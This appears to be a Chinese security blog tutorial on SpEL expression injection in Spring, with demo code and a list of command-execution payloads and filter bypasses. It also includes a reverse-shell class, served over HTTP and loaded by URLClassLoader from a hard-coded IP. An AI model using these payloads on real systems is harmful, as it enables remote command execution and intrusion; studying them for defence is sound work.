SPEL表达式注入
前置基础
SPEL简介
在 Spring3 中引入了 Spring 表达式语言(Spring Expression Language,简称 SPEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于 XML 和基于注解的 Spring 配置还有 bean 定义一起使用。
在 Spring 系列产品中,SpEL 是表达式计算的基础,实现了与 Spring 生态系统所有产品无缝对接。Spring 框架的核心功能之一就是通过依赖注入的方式来管理 Bean 之间的依赖关系,而 SpEL 可以方便快捷的对 ApplicationContext
中的 Bean 进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量 Java 代码。
SPEL特性
- 使用Bean的ID来引用Bean
- 可调用方法和访问对象的属性
- 可对值进行算数、关系和逻辑运算
- 可使用正则表达式进行匹配
- 可进行集合操作
SPEL类类型表达式T(Type)
SPEL其他简单的用法我们在这里不进行讨论,只研究一下存在攻击面的地方
在SpEL表达式中,使用T(Type)
运算符会调用类的作用域和方法,即可以通过类类型表达式来操作类
使用T(Type)
来表示java.lang.Class
实例,Type必须是类全限定名,java.lang
包下的类除外,因为SpEL已经内置了该包,因此该包下的类可以不指定包名。类类型表达式还可以访问类的静态方法与类静态字段
这里就已经存在潜在攻击面
Rumtime类也是包含在java.lang
包中的,因此如果我们能调用Runtime.getRuntime.exec(payload)
,即可进行命令执行
光说很难理解,我们来写点代码来实操一下
1 2 3 4 5 6 7 8
| public class Spel { public static void main(String[] args) { String expression2 = "T(java.lang.Runtime).getRuntime().exec('calc')"; ExpressionParser parser = new SpelExpressionParser();; Expression result2 = parser.parseExpression(expression2); System.out.println(result2.getValue(Class.class)); } }
|
用我的话来说就是,T(Type)
中的东西,会被解析成一个完完整整的类,因此我们就可以通过Runtime
类来执行命令

SPEL表达式用法
SpEL的用法有三种形式,一种是在注解当中@Value
;一种是XML配置中;最后一种是在代码块中使用Expression
xml配置用法
**demo.xml **文件
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">
<bean id="helloWorld" class="com.pojo.HelloWorld"> <property name="message" value="#{'sean'} is #{T(java.lang.Math).random()}" /> </bean>
</beans>
|
MainTestDemo.java 文件
1 2 3 4 5 6 7 8 9 10 11 12 13
| package com.spel.xml;
import com.pojo.HelloWorld; import org.springframework.context.ApplicationContext; import org.springframework.context.support.ClassPathXmlApplicationContext;
public class MainTestDemo { public static void main(String[] args) { ApplicationContext context = new ClassPathXmlApplicationContext("demo.xml"); HelloWorld helloWorld = (HelloWorld) context.getBean("helloWorld"); helloWorld.getMessage(); } }
|
HelloWorld 文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package com.pojo;
public class HelloWorld { private String message;
public void setMessage(String message){ this.message = message; }
public void getMessage(){ System.out.println("Your Message : " + message); } }
|
运行MainTestDemo.java文件后,首先会去demo.xml文件中加载xml中的配置。实际上,经过调试发现,在加载配置时,就会进行SpEL表达式的解析,从而触发我们的payload

注解@Value用法
示例用法如下
1 2 3 4 5 6 7
| public class EmailSender { @Value("${spring.mail.username}") private String mailUsername; @Value("#{ systemProperties['user.region'] }") private String defaultLocale; }
|
在一般情况下,这些值都写在properties的配置文件中,很少或几乎没有我们可以控制的地方
Expression用法
后续分析的SpringCVE漏洞都是基于Expression形式的SpEL表达式注入,因此这里单独说明一下该种形式的用法
步骤
Expression用法分为四步:首先构造一个解析器,其次使用解析器去解析字符串表达式,然后构造上下文,最后根据上下文得到表达式运算后的值(其中第三步可以省略)
1 2 3 4 5
| ExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression("('Hello' + ' Drunkbaby').concat(#end)"); EvaluationContext context = new StandardEvaluationContext(); context.setVariable("end", "!"); System.out.println(expression.getValue(context));
|
具体步骤如下:
- 创建解析器:SpEL 使用
ExpressionParser
接口表示解析器,提供 SpelExpressionParser
默认实现;
- 解析表达式:使用
ExpressionParser
的 parseExpression
来解析相应的表达式为 Expression
对象;
- 构造上下文:准备比如变量定义等等表达式需要的上下文数据;
- 求值:通过
Expression
接口的 getValue
方法根据上下文获得表达式值;
Demo
应用的示例如下,和xml配置的用法区别为:xml配置解析时,需要界定符#{}
来注明SpEL表达式,而Expression用法,会将传入parseExpression
方法的字符串直接当成SpEL表达式来解析,无需注明
1 2 3 4 5 6 7 8 9 10 11
| public class ExpressionCalc { public static void main(String[] args) { String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")"; ExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(spel); System.out.println(expression.getValue()); } }
|

SPEL表达式漏洞注入
漏洞原理
SimpleEvaluationContext
和 StandardEvaluationContext
是 SpEL 提供的两个 EvaluationContext
:
- SimpleEvaluationContext : 针对不需要 SpEL 语言语法的全部范围并且应该受到有意限制的表达式类别,公开 SpEL 语言特性和配置选项的子集。
- StandardEvaluationContext : 公开全套 SpEL 语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
SimpleEvaluationContext
旨在仅支持 SpEL 语言语法的一个子集,不包括 Java 类型引用、构造函数和 bean 引用;而 StandardEvaluationContext
是支持全部 SpEL 语法的。
SpEL表达式可以操作类及其方法,可以通过类类型表达式T(Type)
来调用任意方法。因为在不指定EvaluationContext
的情况下,默认采用的是<font style="color:rgb(80, 80, 92);">StandardEvaluationContext</font>
,它包含了SpEL的所有功能,在允许用户输入情况下,可以造成任意命令执行
如下:
1 2 3 4 5 6 7 8
| public class BasicCalc { public static void main(String[] args) { String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")"; ExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(spel); System.out.println(expression.getValue()); } }
|

通过反射调用进行SpEL注入
这里和我们上述所利用的方式是相类似的,只是多了一步反射调用
1 2 3 4 5 6 7 8
| public class ReflectBypass { public static void main(String[] args) { String spel = "T(String).getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"calc\")"; ExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(spel); System.out.println(expression.getValue()); } }
|
基础Poc与Bypass
基础Poc
基础Poc如下(去除界定符):
除了常见的Runtime
的命令执行方法还有<font style="color:rgb(80, 80, 92);">ProcessBuilder</font>
进行命令执行,后者是前者的基础调用
1 2 3 4 5 6 7 8 9
|
T(java.lang.Runtime).getRuntime().exec("calc") T(Runtime).getRuntime().exec("calc")
new java.lang.ProcessBuilder({'calc'}).start() new ProcessBuilder({'calc'}).start()
|
基础Bypass
常见的Bypass技巧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
|
JavaScript Engine Bypass
从别的师傅的博客了解到,可以使用js引擎来进行绕过
我们来获取一下所有js引擎信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public static void main(String[] args) { ScriptEngineManager manager = new ScriptEngineManager(); List<ScriptEngineFactory> factories = manager.getEngineFactories(); for (ScriptEngineFactory factory: factories){ System.out.printf( "Name: %s%n" + "Version: %s%n" + "Language name: %s%n" + "Language version: %s%n" + "Extensions: %s%n" + "Mime types: %s%n" + "Names: %s%n", factory.getEngineName(), factory.getEngineVersion(), factory.getLanguageName(), factory.getLanguageVersion(), factory.getExtensions(), factory.getMimeTypes(), factory.getNames() ); } }
|
我们比较关注的是下面的js引擎名称
故 getEngineByName
的参数可以填 [nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]

我们来举个例子看一下,其中eval
方法就已经很明显可以执行代码
1 2 3
| ScriptEngineManager sem = new ScriptEngineManager(); ScriptEngine engine = sem.getEngineByName("nashorn"); System.out.println(engine.eval("2+1"));
|
那么payload也就很简单就可以构造出来了
1 2 3 4 5 6 7 8 9 10 11 12
| T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);") T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
|
最后也是成功执行

利用类加载攻击
UrlClassloader
这个方法就是通过远程类加载
首先构造一个恶意类(这里为反弹shell),并打包为.jar包或者编译为.class
1 2 3 4 5 6 7 8 9 10 11 12 13
| import java.io.IOException;
public class Exp{ public Exp(String address){ address = address.replace(":","/"); ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done"); try { p.start(); } catch (IOException e) { e.printStackTrace(); } } }
|
在将编译好的文件放在vps上,并起一个http服务
1
| python3 -m http.server 8990
|
payload如下,然后监听2333端口
1
| new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://101.36.122.13:8990/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("101.36.122.13:2333")
|
AppClassLoader
获取ClassLoader去加载本地的类
1 2 3 4 5 6 7
| public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException { String cmdStr = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')"; ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(cmdStr); System.out.println( exp.getValue() ); }
|
